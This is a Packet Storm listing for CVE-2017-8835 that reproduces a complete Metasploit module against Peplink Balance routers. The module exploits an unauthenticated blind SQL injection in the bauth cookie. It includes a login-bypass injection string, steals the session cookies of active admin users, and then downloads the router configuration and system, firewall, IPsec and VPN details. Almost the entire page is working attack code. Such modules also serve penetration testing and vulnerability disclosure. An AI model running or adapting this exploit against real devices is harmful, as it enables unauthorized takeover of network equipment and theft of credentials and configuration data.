Lucene search

K
packetstormRedouane Niboucha, X41 D-Sec GmbH, metasploit.comPACKETSTORM:180664
HistoryAug 31, 2024 - 12:00 a.m.

Peplink Balance Routers SQL Injection

2024-08-3100:00:00
Redouane Niboucha, X41 D-Sec GmbH, metasploit.com
packetstormsecurity.com
18
peplink balance routers
sql injection
firmware vulnerability
unauthenticated
authentication bypass
session expiration
metasploit module
remote exploitation
http client
session cookies
sessionid retrieval

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

`class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::SQLi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Peplink Balance routers SQLi',  
'Description' => %q{  
Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated  
SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an  
attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication.  
  
By default, a session expires 4 hours after login (the setting can be changed by the admin), for this  
reason, the module attempts to retrieve the most recently created sessions.  
},  
'Author' => [  
'X41 D-Sec GmbH <[email protected]>', # Original Advisory  
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Platform' => %w[linux],  
'References' => [  
[ 'EDB', '42130' ],  
[ 'CVE', '2017-8835' ],  
[ 'URL', 'https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a' ]  
],  
'Targets' => [['Wildcard Target', {}]],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The target URI', '/']),  
OptBool.new('BypassLogin', [true, 'Just bypass login without trying to leak the cookies of active sessions', false]),  
OptBool.new('EnumUsernames', [true, 'Retrieve the username associated with each session', false]),  
OptBool.new('EnumPrivs', [true, 'Retrieve the privilege associated with each session', false]),  
OptInt.new('LimitTries', [false, 'The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly', nil]),  
OptBool.new('AdminOnly', [true, 'Only attempt to retrieve cookies of privilegied users (admins)', false])  
]  
)  
end  
  
def perform_sqli  
# NOTE: using run_sql because there is a limit on the length of our queries  
# will work only if we remove the casts, NULL value handling etc.  
digit_range = ('0'..'9')  
bit_range = ('0'..'1')  
alphanumeric_range = ('0'..'z')  
session_count = @sqli.run_sql("select count(1) from sessionsvariables where name='expire'").to_i  
print_status "There are #{session_count} (possibly expired) sessions"  
  
# limit the number of session cookies to retrieve if the option is set  
session_count = datastore['LimitTries'] if datastore['LimitTries'] && datastore['LimitTries'] < session_count  
  
session_ids = session_count.times.map do |i|  
id = @sqli.run_sql('select id from sessionsvariables ' \  
"where name='expire' order by " \  
"cast(value as int) desc limit 1 offset #{i}", output_charset: digit_range).to_i  
# if AdminOnly, check if is an admin  
if datastore['AdminOnly']  
is_rwa = @sqli.run_sql("select count(1)>0 from sessionsvariables where id=#{id} and name='rwa' and value='1'", output_charset: bit_range).to_i  
is_rwa > 0 ? id : nil  
else  
id  
end  
end.compact  
  
print_status("After filtering out non-admin sessions: #{session_ids.count} sessions remain") if datastore['AdminOnly']  
  
if session_ids.count == 0  
print_error('No active authenticated sessions found, try again after a user has authenticated')  
return  
end  
  
print_status('Trying the ids from the most recent logins')  
  
cookies = [ ]  
  
session_ids.each_with_index do |id, idx|  
cookie = @sqli.run_sql("select sessionid from sessions where id=#{id}", output_charset: alphanumeric_range)  
cookies << cookie  
if datastore['EnumUsernames']  
username = @sqli.run_sql("select value from sessionsvariables where name='username' and id=#{id}")  
end  
  
if datastore['EnumPrivs']  
is_rwa = @sqli.run_sql("select count(1)>0 from sessionsvariables where id=#{id} and name='rwa' and value='1'", output_charset: bit_range).to_i  
end  
username_msg = username ? ", username = #{username}" : ''  
is_admin_msg = if is_rwa  
", with #{is_rwa > 0 ? 'read/write' : 'read-only'} permissions"  
else  
''  
end  
print_good "Found cookie #{cookie}#{username_msg}#{is_admin_msg}"  
break if session_count == idx + 1  
end  
cookies  
end  
  
# returns false if data has an error message, the data otherwise  
def parse_and_check_for_errors(data)  
xml = ::Nokogiri::XML(data)  
if xml.errors.empty? && data.include?('errorMessage')  
print_error xml.css('errorMessage')[0].text  
false  
else  
xml.errors.empty? ? xml : data  
end  
end  
  
def get_data_by_option(cookie, option)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'data.cgi'),  
'method' => 'GET',  
'cookie' => "bauth=#{cookie}",  
'vars_get' => {  
'option' => option  
}  
})  
return '' if option == 'noop' && res.code == 200 && parse_and_check_for_errors(res.body)  
  
if res.code == 200  
print_status "Retrieving #{option}"  
xml = parse_and_check_for_errors(res.body)  
if xml  
print_xml_data(xml)  
path = store_loot("peplink #{option}", 'text/xml', datastore['RHOST'], res.body)  
print_good "Saved at #{path}"  
xml  
else  
false  
end  
else  
print_error "Could not retrieve #{option}"  
false  
end  
end  
  
def retrieve_data(cookie)  
data_options = %w[fhlicense_info sysinfo macinfo hostnameinfo uptime client_info hubport fhstroute ipsec wan_summary firewall cert_info mvpn_summary]  
# in case of a VPN being configured, the option cert_pem_details can leak private keys? (option=cert_pem_details&pem=)  
# might be interesting: eqos_priority, for QoS  
# first, attempt downloading the router configuration  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'download_config.cgi'),  
'method' => 'GET',  
'cookie' => "bauth=#{cookie}"  
})  
if res.code == 200  
# router configuration consists of a 24-byte header, and .tar.gz compressed data  
config = res.body  
if parse_and_check_for_errors(config)  
path = store_loot('peplink configuration tar gz', 'application/binary', datastore['RHOST'], config)  
print_good "Retrieved config, saved at #{path}"  
end  
else  
print_error 'Could not retrieve the router configuration file'  
end  
  
data_options.each do |option|  
get_data_by_option(cookie, option)  
end  
end  
  
def print_xml_data(xml)  
nodes = [ [xml, 0] ]  
until nodes.empty?  
node, nesting = nodes.pop  
if node.is_a?(Nokogiri::XML::Document)  
node.children.each do |child|  
nodes.push([child, nesting + 1])  
end  
elsif node.is_a?(Nokogiri::XML::Element)  
node_name = node.name  
if node.attributes && !node.attributes.empty?  
node_name += " {#{node.attributes.map { |(_n, attr)| "#{attr.name}=#{attr.value}" }.join(',')}}"  
end  
vprint_good "\t" * nesting + node_name  
node.children.each do |child|  
nodes.push([child, nesting + 1])  
end  
elsif node.is_a?(Nokogiri::XML::Text)  
vprint_good "\t" * nesting + node.content  
end  
end  
end  
  
def check  
@sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'admin.cgi'),  
'method' => 'GET',  
'cookie' => "bauth=' or #{payload}--"  
})  
return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res  
  
res.get_cookies.empty? # no Set-Cookie header means the session cookie is valid  
end  
if @sqli.test_vulnerable  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def run  
unless check == Exploit::CheckCode::Vulnerable  
print_error 'Target does not seem to be vulnerable'  
return  
end  
print_good 'Target seems to be vulnerable'  
if datastore['BypassLogin']  
cookies = [  
"' or id IN (select s.id from sessions as s " \  
"left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--"  
]  
else  
cookies = perform_sqli  
end  
admin_cookie = cookies.detect do |c|  
print_status "Checking for admin cookie : #{c}"  
get_data_by_option(c, 'noop')  
end  
if admin_cookie.nil?  
print_error 'No valid admin cookie'  
return  
end  
retrieve_data(admin_cookie)  
end  
end  
`

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low